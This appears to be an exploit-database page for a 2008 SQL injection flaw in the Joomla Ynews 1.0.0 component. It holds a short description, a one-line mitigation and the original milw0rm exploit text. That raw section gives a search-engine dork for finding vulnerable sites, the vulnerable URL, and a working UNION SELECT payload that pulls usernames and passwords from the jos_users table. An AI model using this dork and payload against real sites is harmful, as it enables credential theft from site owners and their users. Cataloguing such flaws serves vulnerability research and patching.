Joomla Component Ynews 1.0.0 (id) Remote SQL Injection Vulnerability

vendor:

Ynews

by:

Crackers_Child

CVSS

HIGH

SQL Injection

CWE

Product Name: Ynews

Affected Version From: 1.0.0

Affected Version To: 1.0.0

Patch Exists: NO

Related CWE: N/A

CPE: a:joomla:joomla

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Joomla Component Ynews 1.0.0 (id) Remote SQL Injection Vulnerability

A remote SQL injection vulnerability exists in Joomla Component Ynews 1.0.0. An attacker can exploit this vulnerability to inject malicious SQL queries via the 'id' parameter in the 'showYNews' task of the 'com_ynews' component. This can allow the attacker to gain access to sensitive information from the database.

Mitigation:

Ensure that user-supplied input is properly sanitized before being used in SQL queries.

Source

Exploit-DB raw data:

###########################################################################################
###    Title   : Joomla Component Ynews 1.0.0  (id) Remote SQL Injection Vulnerability
###
###    Author  : By Crackers_Child cashr00t@hotmail.com
###
###    Greetz  : Str0ke,www.biyofrm.com & www.sibersavascilar.com & www.tryag.cc   
###                                      
###    Dork    : inurl:index.php?option=com_ynews
###
###    Exploit : /index.php?option=com_ynews&Itemid=0&task=showYNews&id=SQL
###      
###    SQL     : -1/**/union/**/select/**/0,1,2,username,password,5,6%20from%20jos_users/*
###
###    Note    : Kac Kere Ã¶lDunuz ki " Olum Den Korkmuyorum Ben " Diyebiliyorsunuz . . .
###########################################################################################

# milw0rm.com [2008-02-06]